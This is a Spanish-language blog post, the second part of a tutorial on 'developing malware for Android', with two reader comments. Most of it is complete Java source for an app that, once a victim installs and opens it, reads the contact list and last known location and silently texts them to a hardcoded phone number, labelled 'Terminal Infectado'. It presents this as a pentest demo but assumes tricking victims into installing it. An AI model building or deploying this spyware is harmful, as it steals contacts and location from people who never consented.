domingo, 4 de noviembre de 2012

DESARROLLO DE MALWARE PARA ANDROID (PARTE II)

Veamos ahora que código podemos incluir a nuestra aplicación para darle funcionalidades que podríamos usar en un test de intrusión.

Supongamos que o bien tenemos acceso a un dispositivo de forma física o que podemos mediante alguna técnica de ingeniería social hacer que la víctima se instale el apk que le proporcionamos. Para demostrar la debilidad de un posible antivirus instalado en el dispositivo, o bien las enormes posibilidades de extracción de información que nos ofrece android, podríamos por ejemplo extraer la agenda de contactos de la víctima y transmitir su posición con las coordenadas GPS que nos ofrezca el dispositivo.

El código lo insertaremos en el archivo principal (Mainactivitiy.java) tras el punto main que recordemos que en el caso de las aplicaciones de Android esta después de oncreate.
Nota (Que ningún experto programador en android se tire de los pelos, no se habla de activities y demás al no tratarse de un curso de Android, solamente se explica lo justo para realizar la tarea deseada y poder asimilarlo todo en el menor tiempo posible).

Código que accede a los contactos del dispositivo y los almacena en un hashmap para después hacer con ellos lo que queramos:

ArrayList<HashMap<String, String>> agenda = getContacts();
        for (HashMap<String, String> map : agenda) {
            for (Map.Entry<String, String> mapEntry : map.entrySet()) {
                key = mapEntry.getKey();
                value = mapEntry.getValue();
                datos = datos + "--" + key + ":" + value;
            }
        }

private ArrayList<HashMap<String, String>> getContacts() {
        ContentResolver cr = getContentResolver();
        Cursor cCur = cr.query(ContactsContract.Contacts.CONTENT_URI, null, null, null, null);
        Cursor pCur = cr.query(ContactsContract.CommonDataKinds.Phone.CONTENT_URI, null, null, null, null);

        ArrayList<HashMap<String, String>> data = new ArrayList<HashMap<String, String>>();

        HashMap<String, String> contacts = new HashMap<String, String>();

        while (cCur.moveToNext()) {
            String id = cCur.getString(cCur.getColumnIndex(ContactsContract.Contacts.LOOKUP_KEY));
            String name = cCur.getString(cCur.getColumnIndex(ContactsContract.Contacts.DISPLAY_NAME));
            contacts.put(id, name);
        }
        while (pCur.moveToNext()) {
            String id = pCur.getString(pCur.getColumnIndex(ContactsContract.Contacts.LOOKUP_KEY));
            String name = contacts.get(id);
            String phone = pCur.getString(pCur.getColumnIndex(ContactsContract.CommonDataKinds.Phone.DATA));
            HashMap<String, String> h = new HashMap<String, String>();
            h.put("name", name);
            h.put("phone", phone);
            data.add(h);
        }
        pCur.close();
        cCur.close();
        return data;
    }



Las funciones para la extracción de datos de coordenadas GPS del dispositivo son las siguientes:
LocationManager LC = (LocationManager) getSystemService(Context.LOCATION_SERVICE);
        Criteria criteria = new Criteria();
        provider = LC.getBestProvider(criteria, false);

        Location loc = LC.getLastKnownLocation(LocationManager.NETWORK_PROVIDER);
        if (loc != null) {
            Toast.makeText(this, "Provider:" + provider, Toast.LENGTH_LONG).show();
            onLocationChanged(loc);
        } else {
            latitudeval.setText("NO PROVIDER");
        }

    public void onLocationChanged(Location location) {
        double lat = location.getLatitude();
        double lon = location.getLongitude();
        lati = String.valueOf(lat);
        longi = String.valueOf(lon);

    }


Para finalizar el trozo de código que envía el mensaje es el siguiente:
phoneNo = "66666666";  
        sms = "Terminal Infectado: Datos Agenda:" + datos + " Localizacion:" + " "  + lati + " " + longi;
        SmsManager smsManager = SmsManager.getDefault();
        smsManager.sendTextMessage(phoneNo, null, sms, null, null);


El mainactivity.java completo quedaría de la siguiente forma:

package Realpentester.Malware;
import android.app.Activity;
import android.content.*;
import android.database.Cursor;
import android.location.*;
import android.os.Bundle;
import android.provider.ContactsContract;
import android.telephony.SmsManager;
import android.widget.Button;
import android.widget.EditText;
import android.widget.TextView;
import android.widget.Toast;
import java.util.*;

public class Realpentester extends Activity {
    private TextView latitudeval;
    private String provider;
    TextView txtEnviado;
    public String key;
    public String value;
    public String datos = "";
    public String phoneNo;
    public String sms;
    public String lati;
    public String longi;

    /**
     * Called when the activity is first created.
     */
    @Override
    public void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.main);

        txtEnviado = (TextView) findViewById(R.id.txtEnviado);

        LocationManager LC = (LocationManager) getSystemService(Context.LOCATION_SERVICE);
        Criteria criteria = new Criteria();
        provider = LC.getBestProvider(criteria, false);

        Location loc = LC.getLastKnownLocation(LocationManager.NETWORK_PROVIDER);
        if (loc != null) {
            Toast.makeText(this, "Provider:" + provider, Toast.LENGTH_LONG).show();
            onLocationChanged(loc);
        } else {
            latitudeval.setText("NO PROVIDER");
        }
        ArrayList<HashMap<String, String>> agenda = getContacts();
        for (HashMap<String, String> map : agenda) {
            for (Map.Entry<String, String> mapEntry : map.entrySet()) {
                key = mapEntry.getKey();
                value = mapEntry.getValue();
                datos = datos + "--" + key + ":" + value;
            }
        }
       
//LINEA DONDE SE CAMBIAN OS TELEFONOS  A LOS QUE MANDAMOS LOS DATOS EXTRAIDOS DEL DISPOSITIVO
        phoneNo = "66666666"; 
        sms = "Terminal Infectado: Datos Agenda:" + datos + " Localizacion:" + " "  + lati + " " + longi;
        SmsManager smsManager = SmsManager.getDefault();
        smsManager.sendTextMessage(phoneNo, null, sms, null, null);
   }
    public void onLocationChanged(Location location) {
        double lat = location.getLatitude();
        double lon = location.getLongitude();
        lati = String.valueOf(lat);
        longi = String.valueOf(lon);

    }



    private ArrayList<HashMap<String, String>> getContacts() {
        ContentResolver cr = getContentResolver();
        Cursor cCur = cr.query(ContactsContract.Contacts.CONTENT_URI, null, null, null, null);
        Cursor pCur = cr.query(ContactsContract.CommonDataKinds.Phone.CONTENT_URI, null, null, null, null);
        ArrayList<HashMap<String, String>> data = new ArrayList<HashMap<String, String>>();
        HashMap<String, String> contacts = new HashMap<String, String>();
        while (cCur.moveToNext()) {
            String id = cCur.getString(cCur.getColumnIndex(ContactsContract.Contacts.LOOKUP_KEY));
            String name = cCur.getString(cCur.getColumnIndex(ContactsContract.Contacts.DISPLAY_NAME));
            contacts.put(id, name);
        }

        while (pCur.moveToNext()) {
            String id = pCur.getString(pCur.getColumnIndex(ContactsContract.Contacts.LOOKUP_KEY));
            String name = contacts.get(id);
            String phone = pCur.getString(pCur.getColumnIndex(ContactsContract.CommonDataKinds.Phone.DATA));
            HashMap<String, String> h = new HashMap<String, String>();
            h.put("name", name);
            h.put("phone", phone);
            data.add(h);
        }
        pCur.close();
        cCur.close();
        return data;
    }
}


Y una imagen vale más que mil palabras, con solo instalar nuestro APK en un Android y ejecutar la aplicación, se realizará la consulta a la base de datos de la agenda, se obtendra un solo contacto de la agenda (por no tener un sms extramadamente largo) y se obtendra la posicion actual con latitud y longitud de GPS y se enviarán todos estos datos vía SMS al número que queramos:


Para todos aquellos con menos conocimientos de java, o que piensen que acceder a todas las funcionalidades del dispositivo es algo muy complejo, indicarles que se cuenta por ejemplo con la siguiente URL: http://www.androidsnippets.com/

Existen muchas páginas similares con el código funcional necesario para programar cualquier cosa que se nos ocurra. Google es tu amigo!!!
 

2 comentarios:

  1. Hola, he probado este código y no he conseguido que funcione.
    Aparte de que falta la línea "android:id="@+id/txtEnviado"" , al complilarlo el LogCat de Eclipse me muestra el error:

    02-21 06:54:03.272: E/AndroidRuntime(1183): java.lang.RuntimeException: Unable to start activity ComponentInfo{com.example.seguridadmw1/com.example.seguridadmw1.MainActivity}: java.lang.NullPointerException

    y no se la causa. ¿Podríais ayudarme?. Gracias de antemano.

    ResponderEliminar
    Respuestas
    1. Me respondo a mí mismo. Estaba ejecutando el emulador y la agenda estaba vacía.

      Gracias otra vez.

      Eliminar